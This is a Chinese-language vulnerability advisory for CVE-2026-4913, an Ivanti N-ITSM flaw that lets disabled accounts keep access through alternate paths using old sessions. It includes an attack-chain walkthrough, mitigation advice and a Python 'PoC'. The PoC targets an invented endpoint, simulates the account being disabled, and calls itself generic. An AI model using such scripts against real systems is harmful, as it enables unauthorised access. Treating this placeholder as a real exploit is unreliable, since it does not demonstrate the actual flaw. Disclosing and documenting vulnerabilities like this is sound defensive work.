IPBUF安全漏洞报告
English
CVE-2026-4913 CVSS 5.7 中危

CVE-2026-4913 Ivanti N-ITSM 访问控制绕过漏洞

披露日期: 2026-04-14
来源: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

漏洞信息

漏洞编号
CVE-2026-4913
漏洞类型
访问控制绕过
CVSS评分
5.7 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Ivanti N-ITSM

相关标签

访问控制绕过IvantiN-ITSM身份验证绕过中危

漏洞概述

CVE-2026-4913 是 Ivanti N-ITSM 软件中存在的一个安全漏洞。该漏洞源于对系统内替代路径的保护措施不当,导致访问控制机制失效。此问题主要影响 2025.4 版本之前的 Ivanti N-ITSM 部署环境。成功利用该漏洞的远程已认证攻击者,即使其账户已被管理员禁用,仍能通过特定的未受严格保护的路径维持对系统的访问权限。这种未授权的访问持久化可能导致敏感信息泄露,严重违反了企业的安全策略。鉴于其 CVSS v3.1 评分为 5.7,属于中危风险,建议受影响用户尽快评估并采取相应的修复措施。

技术细节

该漏洞的技术核心在于 Ivanti N-ITSM 应用程序在处理用户会话和请求路由时,未能对某些特定的“备用路径”实施与主路径一致的严格访问控制检查。在标准的业务逻辑中,当管理员禁用用户账户时,系统通常会在认证流程(如登录接口)中拦截该用户的凭证,并在现有的有效会话列表中标记该会话为无效,从而强制下线。然而,在受影响的版本中,某些内部接口、API 端点或特定的 URL 路径(即“alternate path”)可能绕过了这个标准的账户状态验证逻辑。攻击者只需预先拥有一个有效的认证会话(即 Cookies 或 Token),在账户被禁用后,直接向这些未受严格保护的备用路径发送请求,系统可能会错误地认为该请求合法,从而继续提供服务。这利用了代码中缺乏统一的身份验证中间件或逻辑不一致的缺陷。由于 CVSS 向量包含 PR:L(低权限)和 UI:R(需要用户交互),攻击通常涉及攻击者获取一个低权限账户,登录获取凭证,然后在账户被禁用后,利用保留的凭证进行持续访问。该漏洞主要影响机密性(C:H),不会影响完整性和可用性。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标系统运行的是 Ivanti N-ITSM 且版本低于 2025.4。
STEP 2
2. 初始访问
攻击者通过钓鱼、弱口令爆破或内部威胁获取一个合法的低权限账户凭据。
STEP 3
3. 建立会话
攻击者使用凭据登录系统,获取有效的 Session ID 或 Authentication Token。
STEP 4
4. 账户禁用
管理员察觉异常或员工离职,在管理后台禁用了该攻击者的账户。
STEP 5
5. 漏洞利用
攻击者使用步骤3中获取的有效会话凭证,向未受严格保护的“替代路径”发送请求。
STEP 6
6. 维持权限
由于该路径未校验账户当前状态,系统返回敏感数据,攻击者成功维持了访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # This is a generic PoC for CVE-2026-4913 # It demonstrates that a disabled user can still access an alternate path using a valid session cookie. target_url = "https://<target-ip>/n-itsm/alternate_path_api" login_url = "https://<target-ip>/n-itsm/login" # Attacker's credentials (low privilege) username = "attacker_user" password = "password123" session = requests.Session() # Step 1: Perform login to get a valid session cookie login_payload = { "username": username, "password": password } print("[*] Attempting to login...") response = session.post(login_url, data=login_payload) if response.status_code == 200: print("[+] Login successful. Session cookie obtained.") # Step 2: Simulate the scenario where the account is disabled by admin print("[*] Simulating account disable by admin...") # In a real scenario, the admin disables the account here. # The attacker does not log out. # Step 3: Access the vulnerable alternate path using the old session print("[*] Attempting to access alternate path with disabled account...") vuln_headers = { "User-Agent": "Mozilla/5.0", "Referer": target_url } exploit_response = session.get(target_url, headers=vuln_headers) if exploit_response.status_code == 200 and "sensitive_data" in exploit_response.text: print("[!] EXPLOIT SUCCESSFUL: Access retained despite account being disabled.") print(f"[+] Response: {exploit_response.text[:200]}") else: print("[-] Exploit failed or patch applied.") else: print("[-] Login failed.")

影响范围

Ivanti N-ITSM < 2025.4

防御指南

临时缓解措施
建议立即将 Ivanti N-ITSM 升级至 2025.4 或更高版本以彻底修复此漏洞。如果无法立即进行升级,管理员应实施严格的临时缓解措施,包括手动终止所有已禁用用户或可疑账户的当前活跃会话,并密切监控系统日志,查找针对非标准路径的异常访问行为。此外,应加强对低权限账户的审计,确保离职流程中包含会话强制失效的步骤。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表